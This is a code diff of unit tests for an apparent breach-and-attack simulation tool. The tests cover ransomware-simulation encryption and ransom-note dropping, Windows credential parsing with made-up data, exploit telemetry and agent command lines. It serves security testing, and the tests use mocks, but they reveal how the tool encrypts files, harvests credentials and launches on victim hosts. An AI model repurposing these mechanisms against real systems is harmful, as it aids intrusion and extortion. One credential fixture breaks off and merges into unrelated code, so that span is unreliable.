infection_monkey.ransomware.ransomware_config import RansomwareConfig + +LINUX_DIR = "/tmp/test" +WINDOWS_DIR = "C:\\tmp\\test" + + +@pytest.fixture +def config_from_island(): + return { + "encryption": { + "enabled": None, + "directories": { + "linux_target_dir": LINUX_DIR, + "windows_target_dir": WINDOWS_DIR, + }, + }, + "other_behaviors": {"readme": None}, + } + + +@pytest.mark.parametrize("enabled", [True, False]) +def test_encryption_enabled(enabled, config_from_island): + config_from_island["encryption"]["enabled"] = enabled + config = RansomwareConfig(config_from_island) + + assert config.encryption_enabled == enabled + + +@pytest.mark.parametrize("enabled", [True, False]) +def test_readme_enabled(enabled, config_from_island): + config_from_island["other_behaviors"]["readme"] = enabled + config = RansomwareConfig(config_from_island) + + assert config.readme_enabled == enabled + + +def test_linux_target_dir(monkeypatch, config_from_island): + monkeypatch.setattr(ransomware_config, "is_windows_os", lambda: False) + + config = RansomwareConfig(config_from_island) + assert config.target_directory == Path(LINUX_DIR) + + +def test_windows_target_dir(monkeypatch, config_from_island): + monkeypatch.setattr(ransomware_config, "is_windows_os", lambda: True) + + config = RansomwareConfig(config_from_island) + assert config.target_directory == Path(WINDOWS_DIR) + + +def test_env_variables_in_target_dir_resolved(config_from_island, patched_home_env, tmp_path): + path_with_env_variable = "$HOME/ransomware_target" + + config_from_island["encryption"]["directories"]["linux_target_dir"] = config_from_island[ + "encryption" + ]["directories"]["windows_target_dir"] = path_with_env_variable + + config = RansomwareConfig(config_from_island) + assert config.target_directory == patched_home_env / "ransomware_target" + + +def test_target_dir_is_none(monkeypatch, config_from_island): + monkeypatch.setattr(ransomware_config, "expand_path", lambda _: raise_(InvalidPath("invalid"))) + + config = RansomwareConfig(config_from_island) + assert config.target_directory is None diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py new file mode 100644 index 000000000..6c73cfb8d --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -0,0 +1,174 @@ +from pathlib import PurePosixPath +from unittest.mock import MagicMock + +import pytest +from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( + ALL_ZEROS_PDF, + TEST_KEYBOARD_TXT, +) + +from infection_monkey.ransomware.consts import README_FILE_NAME, README_SRC +from infection_monkey.ransomware.ransomware_config import RansomwareConfig +from infection_monkey.ransomware.ransomware_payload import RansomwarePayload + + +@pytest.fixture +def ransomware_payload(build_ransomware_payload, ransomware_payload_config): + return build_ransomware_payload(ransomware_payload_config) + + +@pytest.fixture +def build_ransomware_payload( + mock_file_encryptor, mock_file_selector, mock_leave_readme, telemetry_messenger_spy +): + def inner(config): + return RansomwarePayload( + config, + mock_file_encryptor, + mock_file_selector, + mock_leave_readme, + telemetry_messenger_spy, + ) + + return inner + + +@pytest.fixture +def ransomware_payload_config(ransomware_test_data): + class RansomwareConfigStub(RansomwareConfig): + def __init__(self, encryption_enabled, readme_enabled, target_directory): + self.encryption_enabled = encryption_enabled + self.readme_enabled = readme_enabled + self.target_directory = target_directory + + return RansomwareConfigStub(True, False, ransomware_test_data) + + +@pytest.fixture +def mock_file_encryptor(): + return MagicMock() + + +@pytest.fixture +def mock_file_selector(ransomware_test_data): + selected_files = [ + ransomware_test_data / ALL_ZEROS_PDF, + ransomware_test_data / TEST_KEYBOARD_TXT, + ] + return MagicMock(return_value=selected_files) + + +@pytest.fixture +def mock_leave_readme(): + return MagicMock() + + +def test_files_selected_from_target_dir( + ransomware_payload, + ransomware_payload_config, + mock_file_selector, +): + ransomware_payload.run_payload() + mock_file_selector.assert_called_with(ransomware_payload_config.target_directory) + + +def test_all_selected_files_encrypted( + ransomware_test_data, ransomware_payload, mock_file_encryptor +): + ransomware_payload.run_payload() + + assert mock_file_encryptor.call_count == 2 + mock_file_encryptor.assert_any_call(ransomware_test_data / ALL_ZEROS_PDF) + mock_file_encryptor.assert_any_call(ransomware_test_data / TEST_KEYBOARD_TXT) + + +def test_encryption_skipped_if_configured_false( + build_ransomware_payload, ransomware_payload_config, mock_file_encryptor +): + ransomware_payload_config.encryption_enabled = False + + ransomware_payload = build_ransomware_payload(ransomware_payload_config) + ransomware_payload.run_payload() + + assert mock_file_encryptor.call_count == 0 + + +def test_encryption_skipped_if_no_directory( + build_ransomware_payload, ransomware_payload_config, mock_file_encryptor +): + ransomware_payload_config.encryption_enabled = True + ransomware_payload_config.target_directory = None + + ransomware_payload = build_ransomware_payload(ransomware_payload_config) + ransomware_payload.run_payload() + + assert mock_file_encryptor.call_count == 0 + + +def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): + ransomware_payload.run_payload() + + assert len(telemetry_messenger_spy.telemetries) == 2 + telem_1 = telemetry_messenger_spy.telemetries[0] + telem_2 = telemetry_messenger_spy.telemetries[1] + + assert ALL_ZEROS_PDF in telem_1.get_data()["files"][0]["path"] + assert telem_1.get_data()["files"][0]["success"] + assert telem_1.get_data()["files"][0]["error"] == "" + assert TEST_KEYBOARD_TXT in telem_2.get_data()["files"][0]["path"] + assert telem_2.get_data()["files"][0]["success"] + assert telem_2.get_data()["files"][0]["error"] == "" + + +def test_telemetry_failure( + monkeypatch, ransomware_payload_config, mock_leave_readme, telemetry_messenger_spy +): + file_not_exists = "/file/not/exist" + ransomware_payload = RansomwarePayload( + ransomware_payload_config, + MagicMock( + side_effect=FileNotFoundError( + f"[Errno 2] No such file or directory: '{file_not_exists}'" + ) + ), + MagicMock(return_value=[PurePosixPath(file_not_exists)]), + mock_leave_readme, + telemetry_messenger_spy, + ) + + ransomware_payload.run_payload() + telem = telemetry_messenger_spy.telemetries[0] + + assert file_not_exists in telem.get_data()["files"][0]["path"] + assert not telem.get_data()["files"][0]["success"] + assert "No such file or directory" in telem.get_data()["files"][0]["error"] + + +def test_readme_false(build_ransomware_payload, ransomware_payload_config, mock_leave_readme): + ransomware_payload_config.readme_enabled = False + ransomware_payload = build_ransomware_payload(ransomware_payload_config) + + ransomware_payload.run_payload() + mock_leave_readme.assert_not_called() + + +def test_readme_true( + build_ransomware_payload, ransomware_payload_config, mock_leave_readme, ransomware_test_data +): + ransomware_payload_config.readme_enabled = True + ransomware_payload = build_ransomware_payload(ransomware_payload_config) + + ransomware_payload.run_payload() + mock_leave_readme.assert_called_with(README_SRC, ransomware_test_data / README_FILE_NAME) + + +def test_no_readme_if_no_directory( + build_ransomware_payload, ransomware_payload_config, mock_leave_readme +): + ransomware_payload_config.target_directory = None + ransomware_payload_config.readme_enabled = True + + ransomware_payload = build_ransomware_payload(ransomware_payload_config) + + ransomware_payload.run_payload() + mock_leave_readme.assert_not_called() diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py new file mode 100644 index 000000000..516e03935 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py @@ -0,0 +1,32 @@ +import pytest + +from common.utils.file_utils import get_file_sha256_hash +from infection_monkey.ransomware.readme_dropper import leave_readme + +DEST_FILE = "README.TXT" +README_HASH = "c98c24b677eff44860afea6f493bbaec5bb1c4cbb209c6fc2bbb47f66ff2ad31" +EMPTY_FILE_HASH = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + + +@pytest.fixture(scope="module") +def src_readme(data_for_tests_dir): + return data_for_tests_dir / "test_readme.txt" + + +@pytest.fixture +def dest_readme(tmp_path): + return tmp_path / DEST_FILE + + +def test_readme_already_exists(src_readme, dest_readme): + dest_readme.touch() + + leave_readme(src_readme, dest_readme) + + assert get_file_sha256_hash(dest_readme) == EMPTY_FILE_HASH + + +def test_leave_readme(src_readme, dest_readme): + leave_readme(src_readme, dest_readme) + + assert get_file_sha256_hash(dest_readme) == README_HASH diff --git a/monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py new file mode 100644 index 000000000..4d3259e67 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py @@ -0,0 +1,158 @@ +from unittest import TestCase + +from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import ( + _get_creds_from_pypykatz_session, +) + + +class TestPypykatzHandler(TestCase): + # Made up credentials, but structure of dict should be roughly the same + PYPYKATZ_SESSION = { + "authentication_id": 555555, + "session_id": 3, + "username": "Monkey", + "domainname": "ReAlDoMaIn", + "logon_server": "ReAlDoMaIn", + "logon_time": "2020-06-02T04:53:45.256562+00:00", + "sid": "S-1-6-25-260123139-3611579848-5589493929-3021", + "luid": 123086, + "msv_creds": [ + { + "username": "monkey", + "domainname": "ReAlDoMaIn", + "NThash": b"1\xb7 dict: + return {"1": {"i": "a", "ii": "b"}} + + def __eq__(self, other): + return self.get_data() == other.get_data() and self.telem_category == other.telem_category + + +class BatchableTelemStub(BatchableTelemMixin, BaseTelem, IBatchableTelem): + def __init__(self, value, telem_category="cat1"): + self._telemetry_entries.append(value) + self._telem_category = telem_category + + @property + def telem_category(self): + return self._telem_category + + def send(self, log_data=True): + raise NotImplementedError + + def get_data(self) -> dict: + return {"entries": self._telemetry_entries} + + +# Note that this function is not a fixture. This is because BatchingTelemetyMessenger +# stops its thread when it is destructed. If this were a fixture, it may live +# past the end of the test, which would allow the in the BatchingTelemetryMessenger +# instance to keep running instead of stopping +def build_batching_telemetry_messenger(monkeypatch, telemetry_messenger_spy): + patch_time(monkeypatch, 0) + return BatchingTelemetryMessenger(telemetry_messenger_spy, period=PERIOD) + + +@pytest.mark.skipif(os.name != "posix", reason="This test is racey on Windows") +def test_send_immediately(monkeypatch, telemetry_messenger_spy): + batching_telemetry_messenger = build_batching_telemetry_messenger( + monkeypatch, telemetry_messenger_spy + ) + + telem = NonBatchableTelemStub() + batching_telemetry_messenger.send_telemetry(telem) + release_GIL() + + try: + assert len(telemetry_messenger_spy.telemetries) == 1 + assert telemetry_messenger_spy.telemetries[0] == telem + finally: + del batching_telemetry_messenger + + +@pytest.mark.skipif(os.name != "posix", reason="This test is racey on Windows") +def test_send_telem_batch(monkeypatch, telemetry_messenger_spy): + batching_telemetry_messenger = build_batching_telemetry_messenger( + monkeypatch, telemetry_messenger_spy + ) + + try: + expected_data = {"entries": [1, 2]} + telem1 = BatchableTelemStub(1) + telem2 = BatchableTelemStub(2) + + batching_telemetry_messenger.send_telemetry(telem1) + batching_telemetry_messenger.send_telemetry(telem2) + release_GIL() + + assert len(telemetry_messenger_spy.telemetries) == 0 + advance_clock_to_next_period(monkeypatch) + release_GIL() + + assert len(telemetry_messenger_spy.telemetries) == 1 + assert telemetry_messenger_spy.telemetries[0].get_data() == expected_data + finally: + del batching_telemetry_messenger + + +@pytest.mark.skipif(os.name != "posix", reason="This test is racey on Windows") +def test_send_different_telem_types(monkeypatch, telemetry_messenger_spy): + batching_telemetry_messenger = build_batching_telemetry_messenger( + monkeypatch, telemetry_messenger_spy + ) + + try: + telem1 = BatchableTelemStub(1, "cat1") + telem2 = BatchableTelemStub(2, "cat2") + + batching_telemetry_messenger.send_telemetry(telem1) + batching_telemetry_messenger.send_telemetry(telem2) + release_GIL() + + assert len(telemetry_messenger_spy.telemetries) == 0 + advance_clock_to_next_period(monkeypatch) + release_GIL() + + assert len(telemetry_messenger_spy.telemetries) == 2 + assert telemetry_messenger_spy.telemetries[0] == telem1 + assert telemetry_messenger_spy.telemetries[1] == telem2 + finally: + del batching_telemetry_messenger + + +@pytest.mark.skipif(os.name != "posix", reason="This test is racey on Windows") +def test_send_two_batches(monkeypatch, telemetry_messenger_spy): + batching_telemetry_messenger = build_batching_telemetry_messenger( + monkeypatch, telemetry_messenger_spy + ) + + try: + telem1 = BatchableTelemStub(1, "cat1") + telem2 = BatchableTelemStub(2, "cat1") + + batching_telemetry_messenger.send_telemetry(telem1) + advance_clock_to_next_period(monkeypatch) + release_GIL() + + batching_telemetry_messenger.send_telemetry(telem2) + release_GIL() + assert len(telemetry_messenger_spy.telemetries) == 1 + + advance_clock_to_next_period(monkeypatch) + release_GIL() + + assert len(telemetry_messenger_spy.telemetries) == 2 + assert telemetry_messenger_spy.telemetries[1] == telem2 + finally: + del batching_telemetry_messenger + + +@pytest.mark.skipif(os.name != "posix", reason="This test is racey on Windows") +def test_send_remaining_telem_after_stop(monkeypatch, telemetry_messenger_spy): + batching_telemetry_messenger = build_batching_telemetry_messenger( + monkeypatch, telemetry_messenger_spy + ) + + expected_data = {"entries": [1]} + telem = BatchableTelemStub(1) + + batching_telemetry_messenger.send_telemetry(telem) + release_GIL() + + try: + assert len(telemetry_messenger_spy.telemetries) == 0 + finally: + del batching_telemetry_messenger + + assert len(telemetry_messenger_spy.telemetries) == 1 + assert telemetry_messenger_spy.telemetries[0].get_data() == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py similarity index 87% rename from monkey/infection_monkey/telemetry/tests/test_exploit_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py index 56d39fe06..6ecfeba1a 100644 --- a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py @@ -2,11 +2,10 @@ import json import pytest -from infection_monkey.exploit.wmiexec import WmiExploiter +from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.exploit_telem import ExploitTelem - DOMAIN_NAME = "domain-name" IP = "0.0.0.0" HOST = VictimHost(IP, DOMAIN_NAME) @@ -20,10 +19,10 @@ HOST_AS_DICT = { "default_tunnel": None, "default_server": None, } -EXPLOITER = WmiExploiter(HOST) -EXPLOITER_NAME = "WmiExploiter" +EXPLOITER = SSHExploiter(HOST) +EXPLOITER_NAME = "SSHExploiter" EXPLOITER_INFO = { - "display_name": WmiExploiter._EXPLOITED_SERVICE, + "display_name": SSHExploiter._EXPLOITED_SERVICE, "started": "", "finished": "", "vulnerable_urls": [], diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py new file mode 100644 index 000000000..b6d55b9d0 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_file_encryption_telem.py @@ -0,0 +1,30 @@ +import json + +from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem + +ENCRYPTION_ATTEMPTS = [ + {"path": "", "success": False, "error": ""}, + {"path": "", "success": True, "error": ""}, +] + + +def test_file_encryption_telem_send(spy_send_telemetry): + file_encryption_telem_1 = FileEncryptionTelem( + ENCRYPTION_ATTEMPTS[0]["path"], + ENCRYPTION_ATTEMPTS[0]["success"], + ENCRYPTION_ATTEMPTS[0]["error"], + ) + file_encryption_telem_2 = FileEncryptionTelem( + ENCRYPTION_ATTEMPTS[1]["path"], + ENCRYPTION_ATTEMPTS[1]["success"], + ENCRYPTION_ATTEMPTS[1]["error"], + ) + + file_encryption_telem_1.add_telemetry_to_batch(file_encryption_telem_2) + + file_encryption_telem_1.send() + expected_data = {"files": ENCRYPTION_ATTEMPTS} + expected_data = json.dumps(expected_data, cls=file_encryption_telem_1.json_encoder) + + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "file_encryption" diff --git a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py similarity index 99% rename from monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py index 4aaaedb08..d6ce48825 100644 --- a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_post_breach_telem.py @@ -4,7 +4,6 @@ import pytest from infection_monkey.telemetry.post_breach_telem import PostBreachTelem - HOSTNAME = "hostname" IP = "0.0.0.0" PBA_COMMAND = "run some pba" diff --git a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py similarity index 99% rename from monkey/infection_monkey/telemetry/tests/test_scan_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py index 017a7d062..07c6fbf41 100644 --- a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_scan_telem.py @@ -2,9 +2,8 @@ import json import pytest -from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.model.host import VictimHost - +from infection_monkey.telemetry.scan_telem import ScanTelem DOMAIN_NAME = "domain-name" IP = "0.0.0.0" diff --git a/monkey/infection_monkey/telemetry/tests/test_state_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_state_telem.py similarity index 99% rename from monkey/infection_monkey/telemetry/tests/test_state_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_state_telem.py index fe7bb3293..18776f987 100644 --- a/monkey/infection_monkey/telemetry/tests/test_state_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_state_telem.py @@ -4,7 +4,6 @@ import pytest from infection_monkey.telemetry.state_telem import StateTelem - IS_DONE = True VERSION = "version" diff --git a/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py similarity index 99% rename from monkey/infection_monkey/telemetry/tests/test_system_info_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py index 0caba8967..146919899 100644 --- a/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py @@ -4,7 +4,6 @@ import pytest from infection_monkey.telemetry.system_info_telem import SystemInfoTelem - SYSTEM_INFO = {} diff --git a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_trace_telem.py similarity index 99% rename from monkey/infection_monkey/telemetry/tests/test_trace_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_trace_telem.py index 567750e96..0c4027a05 100644 --- a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_trace_telem.py @@ -4,7 +4,6 @@ import pytest from infection_monkey.telemetry.trace_telem import TraceTelem - MSG = "message" diff --git a/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_tunnel_telem.py similarity index 100% rename from monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py rename to monkey/tests/unit_tests/infection_monkey/telemetry/test_tunnel_telem.py diff --git a/monkey/infection_monkey/utils/linux/test_users.py b/monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py similarity index 67% rename from monkey/infection_monkey/utils/linux/test_users.py rename to monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py index 67a3a35d4..8b0408c0a 100644 --- a/monkey/infection_monkey/utils/linux/test_users.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/linux/test_users.py @@ -9,7 +9,7 @@ TEST_USER = "test_user" @pytest.fixture def subprocess_check_output_spy(monkeypatch): - def mock_check_output(command, stderr, shell): + def mock_check_output(command, stderr): mock_check_output.command = command mock_check_output.command = "" @@ -21,11 +21,11 @@ def subprocess_check_output_spy(monkeypatch): def test_new_user_expires(subprocess_check_output_spy): with (AutoNewLinuxUser(TEST_USER, "password")): - assert "--expiredate" in subprocess_check_output_spy.command - assert "--inactive 0" in subprocess_check_output_spy.command + assert "--expiredate" in " ".join(subprocess_check_output_spy.command) + assert "--inactive 0" in " ".join(subprocess_check_output_spy.command) def test_new_user_try_delete(subprocess_check_output_spy): with (AutoNewLinuxUser(TEST_USER, "password")): pass - assert f"deluser {TEST_USER}" in subprocess_check_output_spy.command + assert f"deluser {TEST_USER}" in " ".join(subprocess_check_output_spy.command) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py new file mode 100644 index 000000000..f0276b19d --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadImport.py @@ -0,0 +1,7 @@ +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import ( # noqa: F401, E501 + PluginTester, +) + + +class SomeDummyPlugin: + pass diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py new file mode 100644 index 000000000..821b2d063 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/BadInit.py @@ -0,0 +1,6 @@ +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester + + +class BadPluginInit(PluginTester): + def __init__(self): + raise Exception("TestException") diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py new file mode 100644 index 000000000..45f39738a --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/ComboFile.py @@ -0,0 +1,10 @@ +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester + + +class BadInit(PluginTester): + def __init__(self): + raise Exception("TestException") + + +class ProperClass(PluginTester): + pass diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py similarity index 53% rename from monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py rename to monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py index 310cf7f2c..0220e0683 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginTestClass.py @@ -1,8 +1,9 @@ -import infection_monkey.utils.plugins.pluginTests +import tests.unit_tests.infection_monkey.utils.plugins.pluginTests + from infection_monkey.utils.plugins.plugin import Plugin -class TestPlugin(Plugin): +class PluginTester(Plugin): classes_to_load = [] @staticmethod @@ -11,12 +12,12 @@ class TestPlugin(Plugin): Decides if post breach action is enabled in config :return: True if it needs to be ran, false otherwise """ - return class_name in TestPlugin.classes_to_load + return class_name in PluginTester.classes_to_load @staticmethod def base_package_file(): - return infection_monkey.utils.plugins.pluginTests.__file__ + return tests.unit_tests.infection_monkey.utils.plugins.pluginTests.__file__ @staticmethod def base_package_name(): - return infection_monkey.utils.plugins.pluginTests.__package__ + return tests.unit_tests.infection_monkey.utils.plugins.pluginTests.__package__ diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py new file mode 100644 index 000000000..bae443c50 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/PluginWorking.py @@ -0,0 +1,5 @@ +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester + + +class PluginWorking(PluginTester): + pass diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/__init__.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/pluginTests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py b/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py new file mode 100644 index 000000000..db1069bf0 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/plugins/test_plugin.py @@ -0,0 +1,38 @@ +from unittest import TestCase + +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.BadImport import SomeDummyPlugin +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.BadInit import BadPluginInit +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.ComboFile import ( + BadInit, + ProperClass, +) +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester +from tests.unit_tests.infection_monkey.utils.plugins.pluginTests.PluginWorking import PluginWorking + + +class TestPlugin(TestCase): + def test_combo_file(self): + PluginTester.classes_to_load = [BadInit.__name__, ProperClass.__name__] + to_init = PluginTester.get_classes() + self.assertEqual(len(to_init), 2) + objects = PluginTester.get_instances() + self.assertEqual(len(objects), 1) + + def test_bad_init(self): + PluginTester.classes_to_load = [BadPluginInit.__name__] + to_init = PluginTester.get_classes() + self.assertEqual(len(to_init), 1) + objects = PluginTester.get_instances() + self.assertEqual(len(objects), 0) + + def test_bad_import(self): + PluginTester.classes_to_load = [SomeDummyPlugin.__name__] + to_init = PluginTester.get_classes() + self.assertEqual(len(to_init), 0) + + def test_flow(self): + PluginTester.classes_to_load = [PluginWorking.__name__] + to_init = PluginTester.get_classes() + self.assertEqual(len(to_init), 1) + objects = PluginTester.get_instances() + self.assertEqual(len(objects), 1) diff --git a/monkey/infection_monkey/utils/test_auto_new_user_factory.py b/monkey/tests/unit_tests/infection_monkey/utils/test_auto_new_user_factory.py similarity index 100% rename from monkey/infection_monkey/utils/test_auto_new_user_factory.py rename to monkey/tests/unit_tests/infection_monkey/utils/test_auto_new_user_factory.py diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py b/monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py new file mode 100644 index 000000000..0b866f634 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_bit_manipulators.py @@ -0,0 +1,29 @@ +from infection_monkey.utils import bit_manipulators + + +def test_flip_bits_in_single_byte(): + for i in range(0, 256): + assert bit_manipulators.flip_bits_in_single_byte(i) == (255 - i) + + +def test_flip_bits(): + test_input = bytes(b"ABCDEFGHIJNLMNOPQRSTUVWXYZabcdefghijnlmnopqrstuvwxyz1234567890!@#$%^&*()") + expected_output = ( + b"\xbe\xbd\xbc\xbb\xba\xb9\xb8\xb7\xb6\xb5\xb1\xb3\xb2\xb1\xb0\xaf\xae\xad" + b"\xac\xab\xaa\xa9\xa8\xa7\xa6\xa5\x9e\x9d\x9c\x9b\x9a\x99\x98\x97\x96\x95" + b"\x91\x93\x92\x91\x90\x8f\x8e\x8d\x8c\x8b\x8a\x89\x88\x87\x86\x85\xce\xcd" + b"\xcc\xcb\xca\xc9\xc8\xc7\xc6\xcf\xde\xbf\xdc\xdb\xda\xa1\xd9\xd5\xd7\xd6" + ) + + assert bit_manipulators.flip_bits(test_input) == expected_output + + +def test_flip_bits__reversible(): + test_input = bytes( + b"ABCDEFGHIJNLM\xffNOPQRSTUVWXYZabcde\xf5fghijnlmnopqr\xC3stuvwxyz1\x87234567890!@#$%^&*()" + ) + + test_output = bit_manipulators.flip_bits(test_input) + test_output = bit_manipulators.flip_bits(test_output) + + assert test_input == test_output diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py new file mode 100644 index 000000000..a3f210533 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -0,0 +1,108 @@ +from infection_monkey.config import GUID +from infection_monkey.model.host import VictimHost +from infection_monkey.utils.commands import ( + build_monkey_commandline, + build_monkey_commandline_explicitly, + get_monkey_commandline_linux, + get_monkey_commandline_windows, +) + + +def test_build_monkey_commandline_explicitly_arguments(): + expected = [ + "-p", + "101010", + "-t", + "10.10.101.10", + "-s", + "127.127.127.127:5000", + "-d", + "0", + "-l", + "C:\\windows\\abc", + "-vp", + "80", + ] + actual = build_monkey_commandline_explicitly( + "101010", "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", "80" + ) + + assert expected == actual + + +def test_build_monkey_commandline_explicitly_depth_condition_less(): + expected = [ + "-d", + "0", + ] + actual = build_monkey_commandline_explicitly(depth=-50) + + assert expected == actual + + +def test_build_monkey_commandline_explicitly_depth_condition_greater(): + expected = [ + "-d", + "50", + ] + actual = build_monkey_commandline_explicitly(depth=50) + + assert expected == actual + + +def test_get_monkey_commandline_windows(): + expected = [ + "cmd.exe", + "/c", + "C:\\windows\\abc", + "m0nk3y", + "-p", + "101010", + "-t", + "10.10.101.10", + ] + actual = get_monkey_commandline_windows( + "C:\\windows\\abc", + [ + "-p", + "101010", + "-t", + "10.10.101.10", + ], + ) + + assert expected == actual + + +def test_get_monkey_commandline_linux(): + expected = [ + "/home/user/monkey-linux-64", + "m0nk3y", + "-p", + "101010", + "-t", + "10.10.101.10", + ] + actual = get_monkey_commandline_linux( + "/home/user/monkey-linux-64", + [ + "-p", + "101010", + "-t", + "10.10.101.10", + ], + ) + + assert expected == actual + + +def test_build_monkey_commandline(): + example_host = VictimHost(ip_addr="bla") + example_host.set_default_server("101010") + + expected = f" -p {GUID} -s 101010 -d 0 -l /home/bla -vp 80" + actual = build_monkey_commandline( + target_host=example_host, depth=0, vulnerable_port="80", location="/home/bla" + ) + + assert expected == actual diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py new file mode 100644 index 000000000..8ebddf280 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py @@ -0,0 +1,127 @@ +import os + +import pytest +from tests.utils import is_user_admin + +from infection_monkey.utils.dir_utils import ( + file_extension_filter, + filter_files, + get_all_regular_files_in_directory, + 